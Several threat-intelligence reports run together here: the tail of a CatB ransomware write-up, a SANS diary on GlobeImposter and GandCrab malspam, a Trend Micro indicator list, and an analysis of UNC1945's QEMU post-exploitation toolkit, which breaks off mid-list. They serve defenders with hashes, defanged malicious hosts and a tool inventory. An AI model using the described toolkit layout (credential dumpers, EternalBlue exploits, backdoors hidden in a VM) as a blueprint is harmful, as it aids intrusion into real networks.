ransomware families that embrace semi-novel techniques and atypical behaviors such as appending notes to the head of files. These behaviors appear to be implemented in the interest of detection evasion and some level of anti-analysis trickery. For example, many environments rely solely on the appearance of ransom notes to alert them to the potential of a ransomware outbreak. This is not the case with CatB. Despite that, the threat lacks in overall sophistication, and a modern, properly configured, XDR/EDR solution should alert quickly upon initiation of a CatB attack in the environment. SentinelOne Singularity™ fully prevents and protects customers against malicious behaviors associated with CatB Ransomware. ## Indicators of Compromise **SHA1 CatB Samples** - 1028a0e6cecb8cfc4513abdbe3b9d948cf7a5567 - 8c11109da1d7b9d3e0e173fd24eb4b7462073174 - 951e603af10ec366ef0f258bf8d912efedbb5a4b (early version note example) - db99fc79a64873bef25998681392ac9be2c1c99c - dd3d62a6604f28ebeeec36baa843112df80b0933 **Email addresses** - catB9991[at]protonmail[.]com - fishA001[at]protonmail[.]com **BTC Wallets** - bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz
# Ransomware news: GlobeImposter gets a facelift, GandCrab is still out there **Published:** 2018-03-07 **Last Updated:** 2018-03-07 03:53:31 UTC **by Brad Duncan** ## Introduction I recently found a wave of malicious spam (malspam) that started as early as Monday 2018-03-05 at 18:28 UTC and lasted through at least Tuesday 2018-03-06 at 14:44 UTC. This wave of malspam had Word documents as file attachments, and these Word docs had macros designed to infect Windows hosts with ransomware. When I checked Monday evening, I infected one of my lab hosts with GlobeImposter ransomware. When I checked Tuesday morning, I saw GandCrab ransomware. This is interesting, because in 2018, I've seen very few examples of mass-distribution malspam pushing ransomware. So far in 2018, such malspam has been pushing mostly information stealers, backdoors, and cryptocurrency miners. So it's always noteworthy when I find something like this. Today's diary examines this wave of malspam, the infection traffic, and associated indicators. ## The emails Patterns for these emails were consistent, but I couldn't match them to a specific campaign. Sending addresses, subject lines, email headers, and message text were all varied. The only consistent part of this malspam was the Word document attachments, which were all named "Resume.doc" with a space before the first letter. And even then, each attachment had a different file hash. ## The attachments The attachments were typical Word documents with malicious macros. They work similar to malicious macros seen in other malspam campaigns, using Powershell to retrieve a malware binary to infect a vulnerable Windows host. ## The traffic Infection traffic from Monday evening showed indicators of GlobeImposter ransomware. After the macro used Powershell to retrieve the ransomware binary from a server at 198.100.119.11, I saw an HTTP request to psoeiras.net for an IP address check. The URL to psoeiras.net was similar to what I've documented before with GlobeImposter ransomware infections. When I checked again Tuesday morning, I saw the same URL to 198.100.119.11 for a ransomware binary. However, this time, the follow-up HTTP request for the IP address check went to nomoreransom.coin, with follow-up DNS queries for nomoreransom.bit and gandcrab.bit. These domains are typical for what I've previously documented with GandCrab ransomware. ## Forensics on an infected Windows host The GandCrab ransomware sample didn't encrypt any files on my lab host, but the GlobeImposter binary did. All files encrypted by the GlobeImposter sample used a .gif file extension. Previous samples of GlobeImposter I'd tested in December 2017 used Read__ME.html for the decryption instructions, but this 2018 sample used Read__ME.txt. The GlobeImposter decryptor seen through my Tor browser had a visual upgrade with a nice background image, but it still had the same basic setup as before. The GlobeImposter infection stayed persistent on my infected lab host through the Windows registry. Like many malware samples I've seen, this one used the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. However, the binary used for persistence was not the same binary used during the initial infection. The persistent binary for this GlobeImposter infection was only 22,528 bytes. ## Indicators See below for a list of URLs, domains, and file hashes associated with this malspam. **SHA256 hashes for all attachments named "Resume.doc":** - 02d9a2643082ee6751472cfbe4760a3d9afb00a263c698eca3b748d012fcb66a - 05ec663bd1c8521f48affc6dfebf0a6fe410711b70096b5c4be2bac37c7f262b - 4027d8bad7ae8b5f2a88f414417ced73a50ee5fa0d60bf4d5395dc8953037b3c - 43d2c9efb6cc5907f7c04c719e83c3404b629bbf849c83fb053b6f23ddf84d81 - 4b4ade15d6ed8eba53d1064170dee191e07da1baafeeecc3b8fdb4803a44a628 - 50994124ce7d6ebc5b59b29e4278eb78997726d8e6cb902a8ccc437e4fda1a6d - 5490b18af502fa3a576ff5612eefff34dd75edd7bd567519f2b25da1d885de60 - 56e6c1521070d58e525bad12d222c04952676c4b0d77136c9720a3263f9c557f - 6242c95fed475bc708c49b2bb7ad292f43d42fbcbd0b68502db01ea4a44ae656 - 63f070add2cd6b6a6c212c82f1003b35fd45c4ae8787a2da2ec9e16c5e16c0e5 - 69e706c4ddcd8ea4e9f0745e5bdcef760b0e553549bf26526ef51746244f292c - 6a193b0362506748a165b320f72bcd2d149760d66f287bc2271f30328a11181e - 72d18a2df77c75fc3949f34c37e0339039a211e2086fab5c92d2b41064fb5030 - 75e92c7e36ff1cac3cff5b11426916d64b7956022cb668f4f675f3f2fc0e7fe7 - 767b6094e57e940540192fceb1fe31c8311588d998d6f71a4099623fec0d5488 - 92e56ae3f7f014ae8f348e0dc6c2a68936dc878d56e4c9b777202a9000fd6899 - 9d41bb0167c7a19d69be0eb29920054e9b8cfa132a89129b31ecaa3338887e1d - a77afbcc935a6c0290e0a290f10913f343be31d955ce7f2f2446e605a0d89165 - a84730972266ee371c8a5b9906102842f9834b6bd36413f8e15808aa79d1c136 - a96c1911b31beaa2d6fedc654fb568e0ee82160d439e4ac38d53c24a441b0436 - b8ccfed35c590ab7bb1fd619eb085905515fde9c6dff7f592b391a516f8cc52a - cb32fc84a036ab47b60569b3fdc718de9858555b349c90e188a8b7cd4602a264 - ee6b7d944abaec4cb3bc2780489f81d337724164d76c2056d37cc225ea57a6d5 **The following are malware samples retrieved from my infected lab hosts:** - **SHA256 hash:** 61bed70b1568fce8dc67c91bab1884027631bdf2c8b8ba63d54ce32d7e429a76 **File size:** 223,744 bytes **File location:** C:\Users\[username]\AppData\Local\Temp\41097.exe **File description:** GandCrab ransomware - **SHA256 hash:** d6535b7caf79cc9b624e5f8878aa1d8717bdd84778fde47caad4ed75e322ef97 **File size:** 867,840 bytes **File location:** C:\Users\[username]\AppData\Local\Temp\41097.exe **File description:** GlobeImposter ransomware - **SHA256 hash:** 41056643ee135ac0fce3237d69b32370102887b22c0250e2e0b515b25f525183 **File size:** 22,528 bytes **File location:** C:\Users\[username]\AppData\Roaming\Microsoft\wmon32.exe **File description:** Executable persistent for the GlobeImposter ransomware infection **The following are URLs and domains associated with these infections:** - 198.100.119.11 port 80 - 198.100.119.11 - GET /d1.jpg?rnd=53171 (returned ransomware binaries) - 74.220.219.67 port 80 - psoeiras.net - GET /count.php?nu=103 (IP address check from GlobeImposter) - 66.171.248.178 port 80 - nomoreransom.coin - GET / (IP address check from GandCrab) - nomoreransom.bit (domain associated with GandCrab) - gandcrab.bit (domain associated with GandCrab) - hxxp://djfl3vltmo36vure.onion/sdlskglkehhr (GlobeImposter decryptor) ## Final words Although ransomware is down compared to last year, every once in a while we still see a wave of malspam like this, pushing recent ransomware families seen in prior mass-distribution campaigns. So far in 2018, GlobeImposter and GandCrab are the only ones I've seen in mass-distribution malspam. However, these recent samples don't seem to be any more dangerous now than they were before. As always, properly-administered Windows hosts are unlikely to get infected. To infect their computers, users would have to ignore multiple warnings to retrieve and activate the malicious Word document, which includes bypassing Protected View. System administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.
# Trend Micro Legal Disclaimer The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an “as is” condition. ## Hash Trend Micro Detection - 6535696186395b02608f16d86ce9b918e45012a217c11352b9d2904bf6a30c6c BAT_DLOADER.AUSYSB - ab70ef16e625291df6dc33903ec23dbc7b505c25e2e894bfbfd0110550d7664e BKDR_SCADPRV.G - 647b7a619b3ef6fa76b3e710a3f20b78a0a8ab6299b9245a893052d7b94b62fa - ac15fe5d369eb2dce9d04207f9ef573250c362df2d8e304747dd8ee68f17ad05 BKDR_SOCKSBOT.B - 5f45f9238f17e140b65af93ae072256468c377a39fe0b637fe0c3527627a612c - 48a92c81bace0b39ab211f512755ec35176748c6c53437f317d959ae649604c1 BKDR_SOKCSBOT.A - f1a45adcf907e660ec848c6086e28c9863b7b70d0d38417dd05a4261973c955a BKDR_XRAT.JCT - 92be93ec4cbe76182404af0b180871fbbfa3c7b34e4df6745dbcde480b8b4b3b - 684523927a468ed5abea8f6c0d3dc01210ec38aa4e0a533abc75dc891d3b0400 - a34d60d00ac67e8ccce6c5b969e86e969272af2e2479e17b5bfd0b25650504c4 BKDR_XRAT.KVJ - e5af968a8eca77ac64862db3f6c92d7d64db24a999d0ded30f272f2a220cdb70 - 260fa4d0680272feb537aac722466e58eb26c5de2ac858c10d3a244655544313 - d9cdaa649b7ca7b9f61121d269801dbbd68551488c8423ae3a3e95233d6ee99d TROJ_ARTIEF.EVV - 889f1f6873a090162356109f0f3984c044094ea789028ec3e20ba2238d269160 - 0aeda32f977c98c8160491358491d0ad0898dcaa3366bde60c0a3bf8541e7b3f TROJ_DDEX.SM - de22772c655890a73c7fe13d6cff49b1a560d19df04271e4bc3adcd5402158c9 BKDR_DISMONN.A - f2c6effbbb203d5889f75b7d445f1a0f73c479e4a977fd7da3bd923f5b827762 TROJ_DLOADER.JEJOWJ - a6abfb56c25c06c5c12c08a8098f427fd0da11c5930a02ebb51ebc117ff63b1a TROJ_DLOADR.AUSUGF - 283e3e8a651b87e055944e9b132f087f88181331bec1194f354eccf085d1bfe2 - 34399b371c44e52dbd17c6b4e46619f7c7131af20f66fd7a2c7f92c081d78276 TROJ_DROPPR.DAM - b6e9a1ab662304ad11ffca314fcf3d29bf7bd8cb2ff06d9b9727eaed576384b6 - bc8e469ac8515a23a3073a41099fde8420b8a40bb71abaf965c9031bd0a084e3 - 7535cf27ca99f8f77c8ae918ca07e8365289f27d252283444b1e6a5dd8bf087b TROJ_FUERY.A - 10112aab7bc43c9c138aad9b75ed6a69d7305ea2f04b5cfaa14ecfcddfaa4c7a - 0345ecfb3b26acc072a3a423a9bc6aafe8750e65234e5d1f820c07cb61a2fcaf - 145551d6ad9f6e6d825393342561407f9f663a43471bb1738f741addf4dd6d82 TROJ_GENOME.VIDK - e4f66bd9eb1cb01f103c9a0b0616c3b073c658c1248f0e0f6faa06a629d7b06d - bf94a8f82f9b3ec1ad36be72a27813a661654bc5215559bf10b9eddfd49021b4 TROJ_HTALINK.C - 7d6fa3046a4e558b2ef40ae0a96001a50eb3fcaed9b00e4d7bd235d1d83be01a TROJ_MDROP.YYSOW - a0c9b6a77dd3e6738a9f5c1a6704adeef904831d29392cf2c24a5628afecf563 ## Domain/URL - hxxp://bdarmy[.]news - hxxp://brokings[.]org - hxxp://ciis[-]cn[.]net - hxxp://clep[-]cn[.]org - hxxp://cnaas[.]org - hxxp://cpcnews[-]cn[.]com - hxxp://crazywomen[-]dating[.]com - hxxp://dwnnews[.]net - hxxp://euuwebmail[.]com - hxxp://gffbzbgov[-]cn[.]org - hxxp://gloalfirepower[.]org - hxxp://googlemail[.]support - hxxp://googlmail[.]cloud - hxxp://ifenngnews[.]com - hxxp://iisdp[.]org - hxxp://invitingholes[.]com - hxxp://loweinstitute[.]org - hxxp://mfagov[-]cn[.]com - hxxp://mileastday[-]cn[.]com - hxxp://militarypeoplecn[.]com - hxxp://militaryreviews[.]net - hxxp://milstar[-]cn[.]com - hxxp://neteease[.]com - hxxp://pla[-]report[.]net - hxxp://qzonecn[.]com - hxxp://randreports[.]org - hxxp://rannd[.]org - hxxp://scitechtrends[.]com - hxxp://servicelogin[.]center - hxxp://servicelogin[.]support - hxxp://sinamilblog[-]cn[.]org - hxxp://sinamilnews[.]com - hxxp://sinodefence[.]info - hxxp://stripshowsclub[.]com - hxxp://tecchweb[.]com - hxxp://tiexue[-]cn[.]net - hxxp://ustc[-]cn[.]org - hxxp://yahoomail[.]support - hxxp://zhiihua[.]org - hxxp://zhouangjiabing[.]com ## IP Address - 93[.]115[.]94[.]202 - 94[.]185[.]82[.]155 - 94[.]242[.]249[.]203 - 179[.]48[.]251[.]4 - 209[.]58[.]183[.]33 - 176[.]107[.]177[.]10[:]23558 - 5[.]101[.]140[.]220 - 209[.]58[.]163[.]44 - 46[.]166[.]163[.]243 - 5[.]8[.]88[.]64 Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com. ©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.
# Shadows From the Past Threaten Italian Enterprises **November 30, 2020** ## Introduction The modern cyber threat landscape hides nasty surprises for companies, especially for the most structured and complex companies. Many times, threat actors develop very dangerous and effective techniques using tools and technologies in a smart, unattended way. This is the case of a particular cyber criminal group operating cyber intrusion against one of the most targeted and cyber-mature industry sectors: the Banking sector. During the last years, our defense and intelligence operations spotted and tracked some of the operations of a particular Threat Group targeting financial institutions worldwide, in Europe and especially in Italy, at least since 2015. This particular cyber criminal group has been recently publicly disclosed with the name UNC1945 by Mandiant, presenting the findings of a particular investigation they recently took part in and referencing an intrusion potentially dated back to 2018. After the publication of the Mandiant report, we decided to reach out and de-classify some technical details about this mysterious group that is threatening some of the largest Italian and European companies. In particular, we’ll describe how the group approached the difficult task of bringing a modern cyber arsenal to multi-decade old legacy systems. ## The Challenge of Attribution The attribution of this group to known threat actors is still smoky and far from certainty. In fact, even if CERT-Yoroi reserved intelligence information points to old intrusions attributed to Carbanak/Anunak Romanian cells dated back to 2015-2016, there is still no hard evidence linking to this particular group. Anyway, despite the unclear purposes of their recent intrusion reported by Mandiant, one thing is pretty clear: the group is capable of running long-lasting operations. Operations running for years are not typical of the targeted ransomware operators afflicting thousands of companies nowadays. Most of those intrusions last weeks or at least months for a simple reason: persistence is really risky for the intruders; too much might cost them the whole profit opportunity. In our experience, the actor behind TH-239 was historically financially motivated and well prepared in conducting intrusions in enterprise-grade, sometimes legacy, environments such as old Red Hat, Solaris OS, and other Linux systems as well. A different skill set rather than most of the ransomware operators, which are extremely good on Microsoft Windows environments. These much more rare abilities are typical of sophisticated groups such as those targeting high-complex organizations such as Financial and Banking institutions, extremely characterized by legacy technologies, and almost unknown to most cyber criminals. ## Technical Analysis In this analysis, we want to deepen one of the post-exploitation TTP used by the UNC1945 group to solve the huge problem of running modern attack tools on legacy systems. To do so, the group is using a custom QEMU Linux virtual machine instance containing all the necessary tools adopted to achieve its objective. This way, all the operating system and dependencies issues become almost frictionless. In particular, their portable virtual arsenal is based on QEMU images. ### Virtual Arsenal Structure - **bios.bin**: is the QEMU seabios, an open-source implementation of an x86 BIOS. - **core**: is the original image of the Tiny Linux base. - **efi-e1000.rom**: QEMU custom ROM image. - **en-us**: the mapping file for US keyboard layout. - **hda.mini.qcow2**: QEMU QCOW2 Image (HD). - **kvmapic.bin**: KVM in-kernel APIC support. - **qemu-system-i386**: The QEMU PC System emulator. - **start.sh**: the initialization script of the virtual machine. The content of the starting script is quite simple: ```bash #!/bin/sh if [ -z "$1" ]; then ./qemu-system-i386 -m 166 -kernel vmlinuz -initrd core -hda hda.mini.qcow2 -append "tce=sda1 home=sda1 opt=sda1 noswap nozswap superuser" -net nic -net user,tftp=/,hostfwd=tcp::2222-:22 -curses else ./qemu-system-i386 -m 166 -kernel vmlinuz -initrd core -hda hda.mini.qcow2 -append "tce=sda1 home=sda1 opt=sda1 noswap nozswap superuser" -net nic -net user,tftp=/,hostfwd=tcp::19227-:22 -vnc none >/dev/null 2>&1 & fi ``` The bash script is quite easy. It has the purpose to launch the QEMU emulator system: if no parameter is provided ($1), the script executes the first branch enabling port forwarding between guest 22 to host 2222, using the display library “curses”. This setup is to interact with the VM connecting through the host 2222. Without any parameter, the script configures the access through the usage of SSH, because the “curses” library is not listed and the VNC server is disabled. However, both the branches allow communication through the SSH protocol, in the first case starting the communication at the port 2222, in the second at the port 19227. After the first overview of the configuration of the QEMU environment, we decided to deepen into the Virtual Machine by executing it. ### The QEMU System Starting the QEMU system, we obtained the first screen of the configuration of the QEMU system. The specific Linux distribution adopted by the attackers is Tinycore Linux 7.2, a lightweight distro running on a 4.2.9 Linux kernel. It is interesting to notice that the Tiny Core 7.2 release is about 4 years old, but we have evidence it was still part of their cyber-arsenal during 2020. So, we can hypothesize that the creation and the configuration of the virtual QEMU environment is from 2016 and the threat actor continues to use that since that period, and thus, that the group is using this technique at least from 2016. Navigating the filesystem, we discovered a huge amount of tools for exploitation, privilege escalation, lateral movement, and exfiltration. ### The Users Navigating all the filesystem and dissecting every malicious capability have been a challenging activity because we had to explore an entire modular VM with so many interesting artifacts. So, we started to see which are the users contained inside the “/etc/passwd” file. Besides the “root” user, the base Linux user with the highest level of privileges, we have “lp” and “nobody” with no specific privileges; the first one is a sort of spooler service and the other one has no privileges and we didn’t find anything regarding the directory “/nonexistent” inside the disk image. The default user of the TinyCore Linux distribution is “tc” was configured with password “ ” (empty space) and it is the user basically adopted by the attackers. The confirmation of this hypothesis is inside the “/etc/fstab” configuration file where the user “tc” has three entries. This mode of adding devices onto the virtual system is provided thanks to the command line of QEMU hypervisor application through the command “-append” which has the purpose of appending a new virtual disk to the basic core of the Linux system. Inside the virtual disk, there is the complete post-exploitation arsenal adopted by this new powerful threat actor and this particular configuration enables it to perform a completely modular arsenal. In fact, the attackers could update only the virtual device letting the core of the VM unaltered by simply replacing the virtual QCOW2 disk. The three most important directories are “deploy”, “python”, and “responder”. ### The “Deploy” Directory This directory contains many tools part of the cyber arsenal. It is composed of many types of executable binaries, scripts, and archives such as .py, .exe, .txz, or .js. This is an indication that the repository is virtual-arsenal was originally designed to target different kinds of machines, as needed. Many of the sub-folders in this directory reference known tools, most of them publicly available. For instance: - **LaZagne**: historical tool to harvest credentials from heterogeneous environments such as Microsoft Windows, Linux-based systems, and Apple’s OSX. - **UACME**: tool to bypass user access control restrictions on Microsoft Windows environments. - **Mimikatz**: maybe the most popular post-exploitation and privilege escalation tool even nowadays. - **Bcwipe**: a legit data wiping software able to permanently and selectively delete files in an unrecoverable way, showing the group has particular care in remaining unnoticed. - **procdump**: a sysinternal command-line utility to monitor and dump process memory. - **Screen and screen_xp**: contains custom reconnaissance tools to monitor the desktop screen of their targets. - **tshd**: contains a TinyShell backdoor - typical Unix tool - but customized and compiled for Windows environments. There are also some tools statically compiled such as winexe. The reason is to have tools that are self-contained and ready to execute and do not require any additional installations on the target machine. ### The “Python” Directory This directory is quite different from the previous one. It contains various exploits mainly written in Python language. The first folder contains exploits for the well-known MS17-010 vulnerability also known as the EternalBlue family. The code has been forked from the open-source GitHub repository MS17-010 and contains Python scripts to conduct EternalBlue, EternalChampion, EternalSynergy, EternalRomance attacks, along with old Windows 2000 exploits. Inside the “python” directory, we also noticed the “pip-selfcheck.json” file, an installation artifact reporting the latest update of the cyber-arsenal dates back to 2018. Inside the “example” sub-folder, there are many reconnaissance tools able to gather technical information from the target systems via SMB, WMI, Active Directory, System registry, NFS, Netbios, and so on. Tools really useful to gather information about the Microsoft Windows perimeter of the victim network. ### The “Responder” Directory This folder hosts the homonymous “Responder” tool. Responder is a LLMNR/NBT-NS/mDNS Poisoner written by Laurent Gaffie, and is able to listen on the wire for NetBIOS Name Service (NetBIOS) and Link-Local Multicast Name Resolution (LLMNR) broadcast and multicast requests for hostnames from other machines in the local subnet. Executed with the right parameters, it is able to snoop on NetBios and LLMNR in order to steal NTLMv1/v2 password hash. The presence of this type of tool inside the cyber arsenal of the attacker means the threat group is really dangerous: man-in-the-middle attacks across the company network are part of their modus operandi, so their intrusions could be really dangerous in poorly segregated networks. Anyway, the 2.3 version of the Responder toolkit dates back to 2016, suggesting this tool was one of the first tools installed on the virtual arsenal. ### The Virtual-Arsenal Capabilities After the analysis, we identified all the tools stored inside the malicious virtual machine and we are able to classify them into the following categories: - **Enumeration (T1261)**: Using tools to enumerate users through various protocols such as LPAD, NETBIOS, Active Directory, and RPC. - **Network communication (TA0011)**: Network pivoting communication using TCP, TFTP, HTTP tunnels. Packet manipulation tools like inpacket or scapy. - **OS Credential Dumping (T1003)**: Harvesting credentials stored inside user and system configuration through open-source tools like LaZagne. Obtaining higher privileges and authentication tokens using escalation tools like Mimikatz or system process dumping, and bypassing OS protection such as UAC. - **Exploit (T1404)**: Compromising remote systems abusing known 1-Day vulnerabilities such as the MS17-010 ones. - **Man-in-the-Middle (T1557)**: Engaging their targets with Man-in-the-Middle attacks to manipulate network interaction to obtain hashes and tokens (e.g., through Responder). - **Living-off-the-Land tools (T1218)**: Many legit tools such as sysinternal tools such as “procdump” are ready to be abused in the toolkit, also Linux utilities like “winexe”, “find”, “touch”, “grep”, “head”, “less”, or “wget” have been cross-compiled to be ready for deployment on Windows environments too. All of them are compiled in different ways (static or dynamic) and written in different languages (JavaScript, assembly, Python, etc.). This TTP confirms that the QEMU virtual machine is a complete medium of post-exploitation framework, which could be customized according to every need coming from the attacker. If we think about the classic Lockheed Martin Cyber Kill Chain, we can collocate the Virtual Machine role in its mid and latest phase, the “Lateral Movements” and the “Action and Objectives”. In fact, the QEMU virtual machine was manually controlled through an SSH tunnel by the attackers, and it has been used as a powerful framework. ## Conclusion This QEMU-based virtual arsenal is not the only tool in the satchel of this blurred threat actor. They are also able to leverage 0Day exploits and to leverage completely custom implants and tools to get in and move laterally even in the most segregated network. Also, the pivoting abilities of the group are really notable and the customization of the TSHD backdoor observed in the virtual arsenal is just one element of their modus operandi. Follow-up reports will better describe how these actors have leveraged their edge abilities to threaten even the most cyber-mature companies. ## Appendix ### Indicator of Compromise **Hash:** - fb7426ad06ee17fae29e4a46e36d92e7ba7a7cefaeeac2741eca6c535a1b3128 tc/deploy/LaZagne/LaZagne-32bits - afa814290bfea15a47d3462ae32d94f82e66ee888f7c51caf34b3212723c22ad tc/deploy/LaZagne/laZagne.exe - d3d4f88012dc5b7deec6c54bef21e17f720d58aa00c8a809eb36d47038ca8db8 tc/deploy/LaZagne/LaZagne-64bits - 05732e84de58a3cc142535431b3aa04efbe034cc96e837f93c360a6387d8faad tc/deploy/procdump/procdump.exe - 5b0f3ad95531dc16bb8de255186be66bf134fbdea4c1fbee38c807d98992c20c tc/deploy/procdump/run.bat - dd8a9c4c59a7c7b07f21a6b3ac60405ee4c796cb3b268a9f6bd07fcdfc25cebd tc/deploy/screen/svhost.exe - d6d4b69a277eac02b8b79c5e734f80d6cf1e0a4e967729a20079f7815de53794 tc/deploy/UACME_2.8.8/UacInfo64.exe - 5afa7bd2ec1cc2abc91b37b0f800e2af11f3c796450c618e0f40e41efe756640 tc/deploy/UACME_2.8.8/Akagi64.exe - 0f04ed31f345a3fcfe2e6a4c9022f02847df785ff9cd82147fccea5122646eba tc/deploy/UACME_2.8.8/Akagi32.exe - b90cbef385708ae3a47b4fc96299e3f7c2979af439ed79cb20b355718fa263f4 tc/deploy/UserEnum/userslist.txt - edf35acd8eeeba68af9113afdedc21dc7d4ecb549da09195a4a9f25f4eb9941f tc/deploy/UserEnum/UserEnum_LDAP.py - 6dd57af6bd2049a6382ac7169e44aadef9353b905feb75e96abaae57199d4188 tc/deploy/UserEnum/README.md - c1f409a02ad9584551a17a7321db2ad448c6b2e5731d224201c5a173fb873cce tc/deploy/UserEnum/UserEnum_NBS.py - 54ecffbe2e97a127ee6820c891ba13f0b7ea5558b33e1ee731bdb772e5b97deb tc/deploy/UserEnum/UserEnum_RPC.py - ffa5e945163ffb23d26a5dde041802219b03692e7af409e621ef92d6692dfbaf tc/deploy/tshd/head.exe - df4e2115c80d07ca4345ba92053dcc38c4002554677a04509d02669a50ab86bf tc/deploy/tshd/cygwin1.dll - c2ef6fc419630d566154f8372e94859df8141d02805bc7bce39c726a1ffef7c1 tc/deploy/tshd/grep.exe - 70c5e7cd2926bb9849cffa6ae1c5559baf0ec4e3c896ae28bf219c9008f4c2c7 tc/deploy/tshd/find.exe - 365ac8a166174bbc89fb24b21bfcd0b015950495bdf384ab830dd96d25e4cee3 tc/deploy/tshd/w_conf.exe - 3faebbd216d5e94b696288d3089fff6ecb29fc23e97ceb2ff355341ac740d6a5 tc/deploy/tshd/uudecode.exe - 2c73707fc79ff78846cc3c85383d47e46e495ef223d58e1e2933787fcfc2566a tc/deploy/tshd/uuencode.exe - 1ac28b748404d58b9f0c62d1ee65e3b444c9ad3ac0abea299238090b764bc25b tc/deploy/tshd/wget.exe - 0dd4d924c9069992dd7b3e007c0f3ca149b7fb1ce0dfb74b37c7efc6e1aebb46 tc/deploy/tshd/svchost.exe - ca301cde5b700ef7160cdf1f3acc6710da59958b8613dbe0abd2fd8120dfc0ed tc/deploy/tshd/tail.exe - 73723541d7a3c60456d69f0edff955bfde9db6e255821f6aee11f5f2a8a6466b tc/deploy/tshd/run.xml - dffffc9bfaa0b41674bbffcf93764f5d04e218a454dc5ab93a830f8ee19722a7 tc/deploy/tshd/touch.exe - edf649392001017219a27e07b9c33b3a1ebd074d1f0b769a6e8928833271b1c3 tc/deploy/nc_send/sendnc.py - a70334114ee71a28aab1f992a1a6ff5b894433066859f8bf87fe117b6b0dd288 tc/deploy/nc_send/outlooks.exe - 7d33f24ae4c7b3024d5cec2a31420be857f0e547de8971dd6dea169119d4f348 tc/deploy/nc_send/tar.exe - 875f234ed1c172ad8deca6d9c35270c1426d25765653600b2b899efa9f9a966f tc/deploy/nc_send/nc.tar - 50cf763baf747c0094885bc1d129fb97211c618e316ea476c0dfeffeddf9db42 tc/deploy/nc_send/mimi32.exe - b3ec0b621d523f8182cf8409cb1c3d29553d56442e75dcac964dfae82d2c1bc9 tc/deploy/nc_send/sendncmim.py - 632be2363c7a13be6d5ce0dca11e387bd0a072cc962b004f0dcf3c1f78982a5a tc/deploy/nc_send/mimi64.exe - e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 tc/deploy/nc_send/name_mimi_sysinit.exe - 23e5fd457a251d3f87920727a12bcf2e70b30901597309564015eddd12b94a1c tc/deploy/nc_send/mimi_old.exe - f5c1304be270e271e902f0229ab8d876c9ed63cbf4fe926dd1ab61f7335187a4 tc/deploy/mimi_uac/nc32.exe - a0ee6605e8fc9fd2c397b7cd7ddd1664b08e2e6c9f72ab9e658ec5859876da67 tc/deploy/mimi_uac/nc64.exe - 8edb867830e81c060f715b365be834677949f3fb7b7649852e6087a0f8adb115 tc/deploy/mimi_uac/uac_status.txt - c27382fd82bd4af92905144b6b219c3b75cb001081f9ae683115d50d2df8382a tc/deploy/mimi_uac/update.js - 24aed7103a56557d5eddf54460cc9ae59e3f1ddc695c9d403e141c61e96059af tc/deploy/mimi_uac/a.ps1 - 43c48658feb11645b32e26b8dd3db2736083047e1088cf813da75c95d50d17c5 tc/deploy/domain_loginlog/domain_loginlog.exe - 77820dc7dba2412933210d7ea40c11640500b54d3ac14d317187a9c2f6a96645 tc/deploy/winexe-static-071026 - 8530dc274a9154a916af2595c4d48824e8b4015745cd452a634ae55d2786c902 tc/deploy/screen_XP/svhost.exe - 0abc3962c668e457beb043c2455e30585e1da8732ab42e0130fd729a8dc7ebc4 tc/python/MS17-010/mysmb.py - f64024054e3e3c9cf011b27d768bd3692fa9430ae3ec39e4e7a18133d364300c tc/python/MS17-010/infoleak_uninit.py - 515284a34b406042f0eea228a5adaf705f674826999525f2d7c7f13512d5dc72 tc/python/MS17-010/nc8887.read - 1b9833f28868d5a39d927f1a18f89073b82c322574b2214228201e35088314ed tc/python/MS17-010/npp_control.py - 34022a65a3eb93b109ed4c6e1233c6404197818a70f51ab654e2c7e474ee2539 tc/python/MS17-010/eternalblue_exploit8.py - f5c1304be270e271e902f0229ab8d876c9ed63cbf4fe926dd1ab61f7335187a4 tc/python/MS17-010/outlooks.exe - 64cf03ed475f4486147cd2cedb78db4aa7164f57b3a2c25776ed1fb28853d7e5 tc/python/MS17-010/nc8887_.py - 0b0949ea092aea52f258865b278702aa1d55558a3a349805fb970ee1439f7964 tc/python/MS17-010/checker.py - b60da0fe1946329c43fbde55fa3543510830b04959605e4b9f8ea75d4451d445 tc/python/MS17-010/exploit.py - a2ccf5c039464e67ff0a372f91f6e89999ee7c0ea44a6cba493e0aec28954023 tc/python/MS17-010/shellcode/eternalblue_sc_merge.py - 493e3faaef103c8afd4d713b1447c5489e551892f42eba1b9383532024cdd107 tc/python/MS17-010/shellcode/eternalblue_kshellcode_x64.asm - a9fdd64ccc3dfba679dd796d4e3e42e1581f48555fb47d4662f1cb4191fe1a71 tc/python/MS17-010/shellcode/sc_all.bin - 312d0e8913c9d1037669a73ce07f8df98af2a6a3c9c72cb2fbd29a7857686379 tc/python/MS17-010/shellcode/eternalblue_kshellcode_x86.asm - c174f89004c2fb3e91ab8233794d055340cd2a9520dc2be8b938ebccf1c74a74 tc/python/MS17-010/eternalblue7_exploit.py - 